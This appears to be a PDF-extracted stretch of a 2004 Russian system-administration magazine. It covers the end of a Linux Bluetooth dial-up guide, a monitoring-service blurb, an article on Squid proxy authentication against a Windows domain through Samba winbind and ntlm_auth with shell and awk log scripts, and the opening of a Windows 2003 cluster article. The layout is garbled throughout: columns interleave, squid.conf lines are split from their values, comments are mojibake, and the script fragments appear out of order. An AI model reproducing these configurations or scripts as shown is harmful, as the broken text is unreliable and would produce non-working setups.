Если все прошло хорошо, то телефон начнет набирать номер провайдера и попытается с ним соединиться. Кстати, стоит сказать, что подобную процедуру ручной авторизации необходимо выполнить всего один раз. После этого в файле /etc/bluetooth/link_key появится ключ соединения, а телефон внесет компьютер по имени tigroid в список парных устройств. Впредь авторизация будет происходить автоматически, не требуя нашего вмешательства. Проверить это можно с помощью следующих меню. Мы запускали всех демонов и привязывали устройства вручную. Конечно, для настройки и отладки это вполне подходит, но в реальной системе хотелось бы иметь немного больше удобства. В этом нам поможет сервис bluetooth. Для того чтобы автоматически привязывать нужный канал к устройству rfcomm, вносим в файл /etc/rfcomm.conf следующие строчки:

28


администрирование Затем ищем блок строк, отвечающий за включение сервисов:

rfcomm0 { # Íóæíî ëè âûïîëíÿòü àâòîìàòè÷åñêóþ ïðèâÿçêó bind yes;

HCID_ENABLE=true SDPD_ENABLE=true HIDD_ENABLE=false HID2HCI_ENABLE=false RFCOMM_ENABLE=true DUND_ENABLE=false PAND_ENABLE=false

# Àäðåñ óäàëåííîãî óñòðîéñòâà device 00:02:EE:B6:6A:E5; # Íîìåð êàíàëà channel 1; # Îïèñàíèå ñîåäèíåíèÿ comment "Dial-up Networking";

И после него вставляем вот такую конструкцию:

}

После этого стоит всего лишь выполнить команды: # service bluetooth stop # service bluetooth start

И все нужные устройства будут подключены автоматически. В принципе система работает, но при каждом запуске сервиса bluetooth на экранt появляются ошибки: # service bluetooth start which: no hid2hci in (/sbin:/bin:/usr/sbin:/usr/bin) Starting Bluetooth subsystem: Starting hcid service: Starting sdpd service: Starting hidd service: Can't open HIDP control socket: Invalid argument Starting rfcomm service:

[ DONE ] [ DONE ] [FAILED] [ DONE ]

Дело в том, что в моей системе нет bluetooth-мышей, клавиатур и прочих HID-устройств, но скрипт упорно настаивает на необходимости работать с ними. И это несмотря на то, что HID отключен установкой переменных в значение false. HIDD_ENABLE=false HID2HCI_ENABLE=false

Видимо, придется немного подчистить мелкие недочеты автора скрипта /etc/init.d/bluetooth. Все проблемы возникают оттого, что скрипт пытается искать местонахождение программ раньше, чем станет известно, нужны ли они пользователю. Для исправления ошибок находим следующие строки и либо удаляем их, либо комментируем: HCID_EXEC="`which $HCID_NAME || true`" SDPD_EXEC="`which $SDPD_NAME || true`" HIDD_EXEC="`which $HIDD_NAME || true`" HID2HCI_EXEC="`which $HID2HCI_NAME || true`" RFCOMM_EXEC="`which $RFCOMM_NAME || true`" PAND_EXEC="`which $PAND_NAME || true`" DUND_EXEC="`which $DUND_NAME || true`"

if $HCID_ENABLE ; then HCID_EXEC="`which $HCID_NAME || true`" fi if $SDPD_ENABLE ; then SDPD_EXEC="`which $SDPD_NAME || true`" fi if $HIDD_ENABLE ; then HIDD_EXEC="`which $HIDD_NAME || true`" fi if $HID2HCI_ENABLE ; then HID2HCI_EXEC="`which $HID2HCI_NAME || true`" fi if $RFCOMM_ENABLE ; then RFCOMM_EXEC="`which $RFCOMM_NAME || true`" fi if $DUND_ENABLE ; then PAND_EXEC="`which $PAND_NAME || true`" fi if $PAND_ENABLE ; then DUND_EXEC="`which $DUND_NAME || true`" fi

После этого проблемы должны исчезнуть. Думаю, что на этом наш сегодняшний разговор о bluetooth стоит завершить. Дайте мне знать, если вас заинтересовала данная тема. В случае необходимости я напишу продолжение этого материала. В нем будет рассказано о том, как, пользуясь созданным bluetooth-соединением, управлять различными сервисами телефона и отправлять sms.

Литература: 1. Specification of the Bluetooth System», Volume 1: http:// www.bluetooth.com/pdf/Bluetooth_11_Specifications_ Book.pdf 2. Maxim Krasnyansky: Linux BlueZ Howto Bluetooth: http:// bluez.sourceforge.net/howto/ 3. Official Linux Bluetooth protocol stack: http://www.bluez.org/ 4. Bluez user howto: http://www.hanscees.com

IPMonitor – помощник системного администратора Когда ваш сервер не работал, вы будете знать с точностью до минуты. Появился новый сервис, который ориентирован на людей, ответственных за бесперебойную работу интернет-сервиса. Система разрабатывалась для мониторинга работы веб-сайта, но может тестировать любой сетевой сервис. Программа, работающая на сервере http://ipmonitor.ru, раз в минуту пытается установить соединение с указанным вами IP-адресом. Сообщения об изменении состояния цели мониторинга (работает/не работает) записываются в лог и высылаются по почте. Использовав шлюз e-mail → SMS, который есть у любого оператора сотовой связи, можно получать сообщение на сотовый телефон.

№10(23), октябрь 2004

29


администрирование

НАСТРОЙКА SQUID ДЛЯ ИСПОЛЬЗОВАНИЯ АВТОРИЗАЦИИ ИЗ ДОМЕНА WINDOWS 2000

РАШИД АЧИЛОВ Постановка задачи Предположим, имеется компьютерная сеть на базе домена Windows NT или 2000, выходящая в Интернет исключительно через прокси-сервер, расположенный на компьютере под управлением операционной системы FreeBSD. Рано или поздно возникает необходимость контролировать доступ пользователей прокси-сервера к различным обьектам. Первое, что приходит в голову в таких случаях – разделение доступа по IP-адресам компьютеров. Этот способ достаточно просто реализуется с помощью несложного набора ACL в конфигурационном файле squid.conf, но он обладает одним весьма существенным недостатком – невозможно без привлечения дополнительных ресурсов однозначно сказать, какой пользователь в данный момент имел доступ к данному ресурсу. Более удобным для администратора является способ, когда каждый пользователь идентифицируется и получает доступ к прокси только при наличии действующей регистрационной записи в домене Windows (и возможно, только при вхождении в определенную группу домена). Варианты настроек прокси-сервера, обеспечивающие получение регистрационного имени пользователя, запросившего данный ресурс, и будут рассмотрены в данной статье. (Оставим пока в стороне вопрос о том, что делать с этой информацией – расчет статистики загрузки канала и отображения ее – это тема для отдельной статьи). Для моделирования ситуации использовалась следующая конфигурация: ! Домен на базе Windows 2000 Server. ! Прокси-сервер Squid 2.5-STABLE6 на базе FreeBSD 4.10STABLE. ! Samba 2.2.11 и Samba 3.0.6.

30

! Все программы собирались с помощью портов, в Makefile которых при необходимости вносились изменения. Данные изменения не затрагивали каталоги для размещения файлов порта. Все команды в данной статье запускаются от имени пользователя root. Если для выполнения команды достаточно привилегий рядового пользователя, это оговаривается заранее.

Squid 2.5 и Samba 2.2.x Первый рассматриваемый вариант – предоставление доступа к прокси-серверу при условии наличия действующей учетной записи в домене Windows с использованием пакета Samba 2.2.x. Версия Samba здесь имеет принципиальное значение, поскольку с различными версиями пакета samba необходимо использовать различные варианты внешних аутентификаторов для squid. Для проверки имени и пароля пользователя, переданных Squid, мы будем использовать аутентификаторы wb_ ntlmauth и wb_auth, которые собираются вместе со Squid, если задать их сборку. Для задания сборки данных аутентификаторов следует добавить «winbind» в строки --enablebasic-auth-helpers=”список” и --enable-ntlm-auth-helpers=”список” в строке CONFIGURE_ARGS порта squid. В последней на данный момент версии порта (1.138 от 21.08.2004) эти параметры заданы по умолчанию. Если имеются исходные тексты Samba, то можно указать их расположение параметром --with-samba-sources=<полный путь>, например: --with-samba-sources=/usr/ports/net/samba/work/samba-2.2.11


администрирование иначе Squid будет использовать часть исходных текстов Samba, распространяемых вместе с ним. Если сборка выполняется не с помощью портов, а самостоятельно (что крайне не рекомендуется делать), то следует добавить к строке запуска configure эти параметры: ./configure --enable-auth=”basic ntlm” ↵ --enable-basic-auth-helpers=”winbind” ↵ --enable-ntlm-auth-helpers=”winbind” ↵ ... <äðóãèå ïàðàìåòðû ïîðòà, åñëè íåîáõîäèìû>

После сборки и установки порта в каталоге /usr/local/ libexec должны появиться файлы wb_ntlmauth и wb_auth. Аутентификатор для проверки имени и пароля, переданного от Squid, обращается к демону winbindd, который должен быть запущен на данном компьютере. Для обеспечения работоспособности данной схемы Samba, в состав которой входит winbindd, должна быть собрана со следующими параметрами: make WITH_WINBIND=yes WITH_WINBIND_AUTH_CHALLENGE=yes

Если сборка самбы выполняется не через порты, а самостоятельно (что не рекомендуется делать), то к строке запуска configure следует добавить следующие параметры: ./configure --with-winbind --with-winbind-auth-challenge ↵ ... <äðóãèå ïàðàìåòðû ïîðòà, åñëè íàäî>

Данная строка задает только сборку Samba безотносительно наличия на компьютере Squid. Если Samba уже была установлена и собиралась без указанных параметров, ее необходимо пересобрать. По окончании сборки и установки порта в каталоге /usr/ local/sbin должна появиться программа winbindd, а в каталоге /usr/local/bin – wbinfo, которая служит для «общения» с winbindd и получения от него информации. После запуска самбы следует проверить работоспособность winbindd следующим образом: granch:[shelton] 101>wbinfo -p Ping to winbindd succeeded on fd 3 granch:[shelton] 104>wbinfo -t checking the trust secret via RPC calls succeeded

Первая команда проверяет, работает ли winbindd. Вторая – что учетная запись компьютера, на котором запущен winbindd, добавлена в домен и имеет доступ к базе данных домена. Для выполнения данной команды достаточно прав пользователя, имеющего доступ к каталогу /var/db/samba/ winbindd_privileged. Если вывод программ отличается от приведенного, следует обратиться к документации по samba для выяснения причины, почему winbindd неработоспособен, устранить эти причины и повторять тестирование до тех пор, пока не будет получен успешный результат. Наиболее общими причинами являются: ! winbindd не запущен (несмотря на всю тривиальность данной причины); ! компьютер не включен в домен Windows, который указан в параметре workgroup конфигурационного файла Samba (не выполнялась команда smbpasswd -j MYDOMAIN для samba 2.x или net rpc join <type> -w MYDOMAIN для samba 3.x).

№10(23), октябрь 2004

Наконец вся предварительная работа выполнена, можно переходить к настройке Squid. В файле squid.conf после тега auth_param (для версии 2.5.STABLE6 это строка 1000) идет длинный-длинный комментарий к данному параметру. Там расписаны все параметры для всех схем авторизации, а ниже всего этого описания (а оно достаточно объемное – почти полторы сотни строк) идут строки с параметрами программ аутентификации, отмеченные символом «#» в первой позиции, распознаваемым как признак комментария. В данных строках не вписана только собственно программа. Сделано это намеренно, для того чтобы человек, который возьмется настраивать эти параметры, понимал, что он делает. Для того, чтобы наша схема работала, убираем символ «#» из первой позиции и изменяем следующие строки файла squd.conf: auth_param auth_param auth_param auth_param

ntlm ntlm ntlm ntlm

program /usr/local/libexec/wb_ntlmauth children 5 max_challenge_reuses 0 max_challenge_lifetime 2 minutes

auth_param auth_param auth_param auth_param

basic basic basic basic

program /usr/local/libexec/wb_auth children 5 realm Squid proxy-caching web server credentialsttl 2 hours

после чего необходимо будет перезапустить прокси-сервер. Что мы сделали: ! первые четыре строки описывают хелпер аутентификации wb_ntlmauth, который предназначен для работы с браузером Microsoft Internet Explorer, а также с другими браузерами, распознающими конструкции вида MYDOMAIN\myusername (еще к браузерам такого типа относятся Mozilla/Firefox); ! остальные строки описывают хелпер аутентификации wb_auth, который предназначен для проверки имени и пароля, передаваемого со стандартного ввода с помощью winbindd. Это позволяет использовать любые браузеры – как графические, так и нет (lynx, например). Обращаю внимание на следующие моменты:

! Строки в конфигурационном файле должны стоять в том же порядке, что и в примере, приведенном выше. По умолчанию дело обстоит именно так. Обьясняется это одним странным свойством браузера Microsoft Internet Explorer – он способен использовать только первый описанный хелпер. Если первым описать хелпер wb_auth, Explorer доступ к прокси-серверу получить не сможет. ! Необходим будет полный перезапуск через останов сервера и его последующий старт. Команды squid -k reconfigure недостаточно, поскольку при изменении параметров аутентификации squid выгружает и загружает хелперы аутентификации самостоятельно. Кроме того, необходимо изменить правила получения доступа к прокси-серверу таким образом, чтобы доступ предоставлялся только в случае, если пользователь ввел имя и пароль действительной записи в домене Windows. Для этого в файл squid.conf следует добавить следующие строки:

31


администрирование acl NTLMauth http_access

proxy_auth allow

REQUIRED NTLMauth

Первая строка создает правило, согласно которому:

! Доступом к прокси-серверу управляет внешняя программа (программы), описанная в секции auth_param (см. выше описание данного параметра). Если какая-либо из программ завершается с ошибкой, отсутствует или дает отрицательный ответ, то вызывается следующая по списку, пока не будут просмотрены все присутствующие в файле squid.conf строки auth_param. ! Для доступа к прокси-серверу необходим положительный ответ от программы-аутентификатора (хелпера), иначе доступ предоставлен не будет. Завершение с ошибкой, отсутствие или отрицательный ответ всех хелперов считаются отрицательным результатом и являются основанием для отказа в доступе. Вторая строка разрешает доступ к прокси только в том случае, если проверка правила NTLMauth, описанного в первой строке, завершилась успешно. Проверяем. Запустив любой браузер, кроме Internet Explorer, пытаемся посетить какой-нибудь сайт. Получаем запрос на ввод имени и пароля. Вводим (для того чтобы не вводить его постоянно в Mozilla/Konqueror, например, есть режим хранения паролей, при котором во все последующие разы достаточно нажать «OK»). Получаем доступ к сайту. Смотрим файл регистрационного журнала access.log прокси-сервера и видим в конце строки, там где всегда было пусто, введенное нами имя пользователя. Запускаем Internet Explorer. Пароль вводить не надо – Internet Explorer обладает «неестественным» интеллектом и передаст его сам. Получаем доступ к сайту. Смотрим файл регистрационного журнала access.log прокси-сервера и видим... Здесь мы сталкиваемся с двумя вполне безобидными, но способными поначалу озадачить особенностями Internet Explorer – во-первых, автоматическая передача регистрационного имени и пароля пользователя происходит только на третий запрос бразуера, после того как он дважды получает в ответ: TCP_DENIED/407, а во-вторых, регистрационное имя передается в форме MYDOMAIN\myusername, что потребует потом его дальнейшей обработки, потому что регистрационное имя, передаваемое прочими браузерами, не содержит Windows-домена.

Squid 2.5 и Samba 3.x Несколько усовершенствуем нашу систему. Все бы в ней ничего, но есть как минимум один момент, который может потребовать доработок. Он связан с тем, что Samba Team официально прекращает поддержку ветки 2.2.х с 1 октября 2004 г. для того, чтобы сосредоточить все усилия на ветке 3.х и перспективной 4.х. Это означает то, что обнаруженные ошибки исправляться не будут, вне зависимости от их степени опасности. Поэтому мы заблаговременно отказываемся в нашей системе от Samba 2.2.11 и переходим на Samba 3.х. Samba 3.x – это новый продукт Samba team, который содержит огромное количество изменений (и примерно та-

32

кое же количество ошибок) по сравнению с Samba 2.2.x. Squid еще не умеет работать с winbindd-демоном от Samba 3.x, поэтому Samba Team поставляет собственную версию хелпера аутентификации для использования его в Squid – ntlm_auth. Поэтому при сборке Squid безразлично, что будет задано в качестве параметров --enable-basic-auth-helpers и --enable-ntlm-auth-helpers. Для сборки Samba как обычно следует указать: make WITH_WINBIND=yes

при сборке через порты либо: ./configure --with-winbind ... <ïðî÷èå ïàðàìåòðû, åñëè íàäî>

После сборки порта в каталоге /usr/local/bin должен появиться файл ntlm_auth. Для него существует руководство (мануал) в отличие от тех хелперов, что поставляются вместе со Squid, можете посмотреть, набрав man ntlm_auth. Как обычно, сначала убеждаемся, что winbindd запущен и Samba сконфигурирована нормально, запустив wbinfo -p и wbinfo -t (пример вывода программ и рекомендации, что делать, если вывод не совпадает, приведен выше). Можно переходить к изменению конфигурационного файла squid.conf. Находим строку, которую редактировали в прошлый раз, и изменяем вот так: auth_param ntlm program /usr/local/bin/ntlm_auth ↵ --helper-protocol=squid-2.5-ntlmssp auth_param ntlm children 5 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param basic program /usr/local/bin/ntlm_auth ↵ --helper-protocol=squid-2.5-basic auth_param basic children 5 auth_param basic realm Squid proxy-caching web server auth_param basic credentialsttl 2 hours

Более подробную информацию о параметрах хелпера htlm_auth можно получить из команды man ntlm_auth. Как обычно, следите за тем, чтобы ntlm_auth в /usr/local/ bin был из сборки Samba, потому что Squid тоже собирает свой собственный хелпер ntlm_auth (--enable-ntlm-authhelpers=”SMB”). Но хелпер Squid не умеет работать с winbindd, входящим в комплект Samba 3.x. И конечно, хелпер, обслуживающий запросы Internet Explorer, должен располагаться перед хелпером, принимающем пароль со стандартного ввода. Отличительной (и приятной) особенностью работы данного хелпера является то, что при общении с Internet Explorer имя пользователя передается в лог без доменной части (myusername вместо MYDOMAIN\myusername при взаимодействии с хелперами, входящими в комплект Squid). Стоит отметить еще одну особенность данного хелпера – для нормальной работы ему необходим доступ к pipe winbindd, который по умолчанию располагается в /var/db/ samba/winbindd_privileged. Собственно pipe имеет права 0777, но каталог, в котором он находится, имеет права 0750. Для решения этой проблемы достаточно изменить группу пользователей каталога winbindd_privileged на squid: chown root:squid /var/db/samba/winbindd_privileged


администрирование Squid 2.5, Samba и наличие пользователей в определенной группе Модифицируем нашу систему дальше. Сделаем так, чтобы пользователь мог получить доступ к прокси-серверу, только если его учетная запись находится в группе My Proxy. Для решения этой проблемы можно использовать как стандартные аутентификаторы прокси-сервера (ntlm_auth и wbinfo_group), так и аутентификатор ntlm_auth из комплекта сборки Samba. Рассмотрим каждый вариант.

Использование аутентификаторов из комплекта прокси-сервера Для того чтобы использовать аутентификаторы прокси-сервера вместе с Samba (версия не имеет значения), необходимо использовать другие программы-хелперы. Для использования хелперов из комплекта прокси-сервера задача аутентификации разбивается на две части – используется хелпер ntlm_auth и внешняя программа wbinfo_group.pl, представляющая из себя скрипт на языке Perl. Перестраиваем конфигурацию аутентификаторов следущим образом: auth_param ntlm program /usr/local/libexec ↵ /ntlm_auth MY_DOMAIN\\dcone MY_DOMAIN\\dctwo auth_param ntlm children 5 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param auth_param auth_param auth_param

basic basic basic basic

program /usr/local/libexec/wb_auth children 5 realm Squid proxy-caching web server credentialsttl 2 hours

Здесь dcone и dctwo – соответственно первый и второй контроллеры домена (имеются в виду NetBIOS-имена). Следует заметить, что здесь мы меняем только конфигурацию для браузеров, которые умеют работать с конструкциями MY_DOMAIN\myname и не меняем конфигурацию для прочих браузеров. Кроме того, в секцию external_acl_type мы добавляем дополнительную внешнюю программу wbinfo_ group.pl (для установки данной программы следует указать:

С условием NTLMauth мы уже знакомы – оно задает представление доступа только в случае успешного возврата от хелперов аутентификации. Условие NTDCgroup задает вызов внешней программы, описанной в условии ntgroup, при этом в качестве параметра внешней программе передается имя группы, вхождение в которую должно быть проверено. В данном примере это группа Internet. Доступ к прокси будет предоставлен только в случае одновременного выполнения обоих условий. Достоинством данного метода является независимость его от версии Samba – wb_ntlmauth и wbinfo_group работают путем передачи команд демону winbindd – можно спокойно перейти с версии Samba 2.х на версию 3.х и не заметить момент перехода.

Использование аутентификаторов из комплекта Samba (только Samba 3.x) Поскольку хелперы прокси-сервера не умеют работать с winbindd демоном из сборки Samba 3.x, рекомендуется отказаться от их применения и использовать хелпер ntlm_auth из сборки прокси-сервера (не путать с одноименным хелпером из сборки Samba! Хелпер прокси-сервера обычно лежит в /usr/local/libexec, а хелпер Samba – в /usr/local/bin). Кроме того, использование wbinfo_group.pl имеет один отрицательный момент – это скрипт, он написан на языке Perl, следовательно, в оперативной памяти постоянно находится некоторое количество копий процесса perl, интерпретирующего скрипт. Отказ от wbinfo_group.pl позволит сократить объем требуемой памяти. Использование аутентификаторов из комплекта Samba значительно проще: не нужно никаких внешних программ, не нужно никаких дополнительных правил – сам хелпер ntlm_auth имеет параметр --requiremembership-of=”Group”. Поэтому возвращаем наше правило, регулирующее доступ к прокси-серверу, к виду, описанному в разделе «Samba 2.5 и Samba 2.2.x». http_access

allow

NTLMauth

и заменяем хелперы из поставки squid на хелпер ntlm_auth из поставки samba следующим образом:

--with-external-acl-helpers=”wbinfo_group”

в строке запуска configure при сборке прокси-сервера, последняя версия Makefile в портах установит его по умолчанию) таким образом: external_acl_type ntgroup concurrency=5 ↵ %LOGIN /usr/local/libexec/wbinfo_group.pl

Что мы сделали: задали использование внешней программы-аутентификатора, с именем ntgroup (будет использоваться при задании ACL), пять одновременно работающих копий в памяти, передаваться ей будет регистрационное имя, в ответ программа должна вернуть OK или ERR, в зависимости от проверяемого условия. Кроме того, изменяем условие предоставления доступа к прокси-серверу на следующее: acl NTDCgroup acl NTLMauth http_access

external proxy_auth allow

№10(23), октябрь 2004

ntgroup Internet REQUIRED NTLMauth NTDCgroup

auth_param ntlm program /usr/local/bin/ntlm_auth ↵ --helper-protocol=squid-2.5-ntlmssp ↵ --require-membership-of="MY_DOMAIN+My Proxy" auth_param ntlm children 5 auth_param ntlm max_challenge_reuses 0 auth_param ntlm max_challenge_lifetime 2 minutes auth_param basic program /usr/local/bin/ntlm_auth ↵ --helper-protocol=squid-2.5-basic ↵ --require-membership-of="MY_DOMAIN+My Proxy" auth_param basic children 5 auth_param basic realm Squid proxy-caching web server auth_param basic credentialsttl 2 hours

Здесь «My Proxy» – группа, присутствие в которой дает право пользоваться прокси-сервером. На что следует обратить внимание – в значении параметра --require-membership-of задана запись «MY_DOMAIN+My Proxy». В этой записи «My Proxy» – название группы, а знак «+» – это значение параметра «winbind separator» из конфигурационного файла Samba smb.conf. В сервере, на котором проводилось тестирование, параметр задан следующим образом:

33


администрирование winbind separator = +

Если у вас используется другой символ, его следует указывать вместо знака «+» (в противном случае хелпер не сможет определить принадлежность к группе и пользователь не получит доступа к прокси в конечном итоге). Следует иметь в виду, что данное значение параметра winbind separator не является значением по умолчанию для самбы. По умолчанию значением является «\» (обратная косая черта). Но использование этого символа в командах, передаваемых в shell, как правило, чревато необходимостью «защищать» его от того, чтобы shell не воспринял его как служебный, поэтому был выбран другой символ. Хотя, например, man smb.conf не рекомендует использовать именно «+» чтобы избежать возможных проблем с NIS.

Если какой-либо из приведенных способов не работает Отнюдь не факт, что любой описанный здесь метод заработает с первого раза. Мне приходилось немало проверять, перепроверять и тестировать конфигурационные файлы, прежде чем начинал работать какой-либо из методов, хотя в конечном итоге работали все методы. Если какой-либо браузер (Mozilla, например, но не Internet Explorer) запрашивает пароль и не реагирует как положено на правильный, следует: ! Убедиться, что пароль введен правильно. ! Посмотреть лог cache.log в каталоге логов прокси-сервера – хелперы выводят сообщения об ошибках туда. ! Проверить правильность написания путей в правилах задания хелперов. ! Проверить наличие самих хелперов по указанным путям и достаточность прав на запуск хелперов из-под пользователя, от имени которого работает прокси-сервер (обычно это squid из группы squid). ! Если хелперы запускаются, следует обратить внимание на моменты их запуска – если ntlm_auth, например, не может установить связь с контроллером домена, он сообщит об этом. ! Если используются хелперы на базе winbindd, следует проверить работоспособность winbindd-демона (команды приводились выше). ! Если задействован хелпер ntlm_auth из поставки Samba – его можно запустить в режиме отладки с консоли, приказав выводить максимально подробную отладочную информацию. В случае успешного запуска следует ввести через пробел имя и пароль пользователя, как показано ниже. Для выполнения данной команды достаточно прав пользователя, имеющего доступ к каталогу /var/ db/samba/winbindd_privileged. > ntlm_auth --helper-protocol=squid-2.5-basic --require-membership-of=”MY_DOMAIN+My Proxy” -d10 -l /tmp [2004/08/29 23:15:22, 5] lib/debug.c:debug_dump_status(367) INFO: Current debug levels: all: True/10 tdb: False/0 printdrivers: False/0 lanman: False/0 smb: False/0 rpc_parse: False/0 rpc_srv: False/0

34

rpc_cli: False/0 passdb: False/0 sam: False/0 auth: False/0 winbind: False/0 vfs: False/0 idmap: False/0 quota: False/0 acls: False/0

В ответ на запрос программы вводим имя пользователя testuser, пароль 123456. [2004/08/29 23:16:21, 10] utils/ntlm_auth.c:manage_squid_request(1621) Got 'testuser 123456' from squid (length: 15). [2004/08/29 23:16:21, 3] utils/ntlm_auth.c:check_plaintext_auth(292) NT_STATUS_OK: Success (0x0) OK

Всегда используйте для тестирования только подобных «пользователей», потому что пароль виден на консоли, а также может остаться в файлах .history, .bash_history или .mc/history! ! Проверить права доступа на каталог /var/db/samba/win bindd_privileged, если используется хелпер ntlm_auth из поставки Samba. При недостаточных правах хелпер может выдавать в файл регистрационного журнала cache.log сообщения, из которых совершенно невозможно понять, чего ему не хватает для нормальной работы. ! При большом количестве запросов следует пропорционально увеличить количество загружаемых хелперов (параметр auth_param <method> children). При недостаточном количестве хелперов запросы на аутентификацию ставятся в очередь и при переполнении очереди прокси может аварийно завершить работу. Также следует обеспечить постоянную доступность контроллера домена, потому что при плохой связи с контроллером домена запросы на аутентификацию опять же ставятся в очередь, и прокси может аварийно завершить работу при большом количестве хелперов, ожидающих ответа от контроллера домена.

Дополнительные замечания О безопасности передаваемых данных Эксперименты показали, что при использовании всех хелперов, кроме ntlm_auth из комплекта Samba 3.х и wb_ ntlmauth из комплекта squid, пароль, передаваемый на проверку контроллеру домена, передается в открытом виде, и лицо, имеющее возможность перехвата сетевого трафика с данного компьютера, сможет узнать пароли. Программы ntlm_auth из комплекта Samba 3.х и wb_ntlmauth из комплекта squid используют для работы с контроллером домена протокол NTLM SSP, и пароль не передается по сети в открытом виде даже при указании --helper-protocol=squid2.5-basic (этот параметр определяет не протокол работы хелпера с контроллером домена, а протокол работы хелпера со сквидом).

О преобразовании логинов из формата MYDOMAIN\myusername Хелпер wb_ntlmauth записывает в лог полученный от пользователя логин в виде MYDOMAIN\myusername, в то время как хелпер wb_auth записывает его в формате myusername.


администрирование Для того чтобы использовать полученные данные в какойлибо программе расчета статистики, необходимо унифицировать данные. Я делаю это удалением домена и приведением всех логинов к формату myusername. Для этого мной была разработана пара скриптов на языках shell и awk, которые делают следующее: ! Удаляют из лога строки TCP_DENIED/407, которые генерируются браузером Internet Explorer. ! Удаляют доменную часть имени пользователя, если оно представлено в формате MYDOMAIN\myusername. ! Если DNS-имя компьютера или его IP-адрес совпадает с DNS-именем или IP-адресом, указанным в файле доверенных адресов, то в поле имени пользователя вписывается имя, указанное в данном файле. (Если используется как авторизация по регистрационному имени, так и авторизация по IP-адресу, то для обработки статистики некоторым IP-адресам жестко сопоставляется определенное имя.) Формат файла доверенных адресов очень прост: по одной записи на строке DNS-имя или IP-адрес компьютера и через пробел – имя пользователя, которое будет подставляться. Например: 192.168.1.1 192.168.1.2

# # # # # # # # # # #

{

trustlist="/usr/local/etc/sarg2/sargtrusted" inlog="/var/log/squid/access.log" # Check on presence trusted hosts list if [ -e $trustlist ]; then hosts=`awk '{if ($1 == "#") nextline; else print $1}' < $trustlist` tusers=`awk '{if ($1 == "#") nextline; else print $2}' < $trustlist` else logger -i -p daemon.err -t sqcount ↵ Trust list empty, will skip prepare 1st stage... hosts="" tusers="" fi

↵ ↵

# When trusted host list is presented, replace according # by them... if [ ${#hosts} -ne 0 ]; then awk -f /usr/local/sbin/awksquid -v hosts="$hosts" ↵ -v tusers="$tusers" < $inlog > /tmp/tmpaccess.log else cp $inlog /tmp/tmpaccess.log fi

Далее приведен скрипт чтения файла регистрационного журнала, реализованный на языке awk. Это рабочий скрипт, который я использую для расчета статистики загрузки канала.

if ($4 == "TCP_DENIED/407") next subind = index($8,"\\") if (subind != 0) { subname = substr($8,subind + 1) printf("%s %6s %s %s %s %s %s %s %s %s\n", ↵ $1,$2,$3,$4,$5,$6,$7,subname,$9,$10) next } for (i = 1;harray[i] != "";i++) { if ($3 == harray[i]) { if ($8 == "-") { printf("%s %6s %s %s %s %s %s %s %s %s\n", ↵ $1,$2,$3,$4,$5,$6,$7,tuarray[i],$9,$10) break } } }

Ниже приведен основной скрипт. Вариант, демонстрируемый в данной статье, тестовый, практической ценности не имеет и приведен только для иллюстрации того, как обрабатывать данные файла регистрационного журнала.

PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local ↵ /bin:/usr/local/sbin

When $8 is "-" and $2 == one of trusted hosts, instead of "-" sets trusted login, correspond this host When $4 is "TCP_DENIED/407" skip this line (and f*ck MS IE!) $Id: awksquid,v 1.11.4.2 2003/08/06 03:28:54 shelton Exp $

BEGIN { split(hosts,harray) split(tusers,tuarray) }

alice bob

#!/bin/sh # This is a part of SquidCount package version 1.11.4 # Daily squid proxy statistic maintenance # Written by CityCat 25.10.2001. Copyright Granch Ltd. (C) # This is a public software, distributed with a BSD license. # $Id: squidcount,v 1.11.4.6 2004/07/21 12:53:02 shelton Exp $

This is a part of SquidCount package version 1.11.4 Squid log preparation to count statistic Developed by Rashid N. Achilov. Copyright Granch Ltd. (C) Thisi is a public software, distributed with BSD license. Externals: hosts = <list of hosts with trusted users> tusers = <list of trusted user logins, correspoding hosts)

}

if (harray[i] == "") print $0

Заключение В данной статье были рассмотрены несколько способов авторизации пользователя домена Windows на прокси-сервере squid с использованием контроллера домена Windows. Выбор конкретного способа зависит только от используемой версии Samba и не зависит от типа контроллера домена Windows (схема с авторизацией через Samba 2.х и хелперы Squid работала достаточно долгое время в домене Windows NT, потом совершенно незаметно была перенесена в домен Windows 2000). Samba 3.x мне кажется наиболее перспективным решением с наиболее простым вариантом конфигурации.

Уважаемые читатели! Теперь вы можете приобретать новые и старые номера журнала через интернет-магазин

Стоимость 1 экземпляра – 140 рублей Доставка почтой БЕСПЛАТНО в любую точку России

#!/usr/bin/awk -f

№10(23), октябрь 2004

35


администрирование

ЧЕТЫРЕХУЗЛОВОЙ КЛАСТЕР С БАЛАНСИРОВКОЙ НАГРУЗКИ БЕЗ ВНЕШНЕГО МАССИВА ДАННЫХ ГЕННАДИЙ ДМИТРИЕВ Месяца 3-4 назад к нам на фирму за консультацией пришли сотрудники одной из крупных государственных организаций. Для тестовой лаборатории им необходимо было собрать недорогой кластер под вывод информации для пользователей через Internet Information Server (IIS). После некоторых раздумий и консультаций с умными людьми мной было найдено довольно оригинальное решение, о нем я и буду сегодня рассказывать. О том, какие бывают кластеры, технологии, реализации кластеров в этой статье, я писать не буду. В Интернете достаточно информации на эти темы. Здесь я опишу конкретную реализацию конкретной задачи. Надеюсь, она будет вам интересна.

Задача Для одного из учебных классов государственного предприятия потребовалось создать кластер для работы с проектно-исследовательской информацией. Важным моментом в данной реализации было то, что внешние клиенты могли работать с данной документацией через самый простой IIS. В качестве узлов кластера были закуплены 4 машины достаточно простой конфигурации, P4-2.4 ГГц/512 Мб/

Ðèñóíîê 1

36

80 Гб SATA/2xLAN Adapter. После некоторых раздумий было решено использовать службу Network Load Balancing для распределения нагрузки между узлами кластера, а синхронизацию данных между серверами настроить с помощью службы Distributed File System. В качестве операционной системы достаточно выбрать Windows 2003 Server Standard Edition, поскольку она поддерживает обе необходимые нам службы. Схема кластера представлена на рис. 1.

1-й этап. Подготовка серверов, установка домена, создание DNS-зон На первом этапе мы устанавливаем на все сервера, операционную систему, настраиваем сетевое окружение на серверах, поднимаем Active Directory. В принципе можно обойтись и без него, однако мне показалось, что единая авторизация на серверах удобнее, чем ведение учетных записей на каждом из них. ! Имеем 4 одинаковые машины с двумя сетевыми картами в каждой. ! Ставим на все машины Windows 2003 Server (версия 2003-го сервера не имеет значения).


администрирование ! Настраиваем системы, исходя из таблицы:

! Для удобства переименуем название сетевых соедине! ! ! !

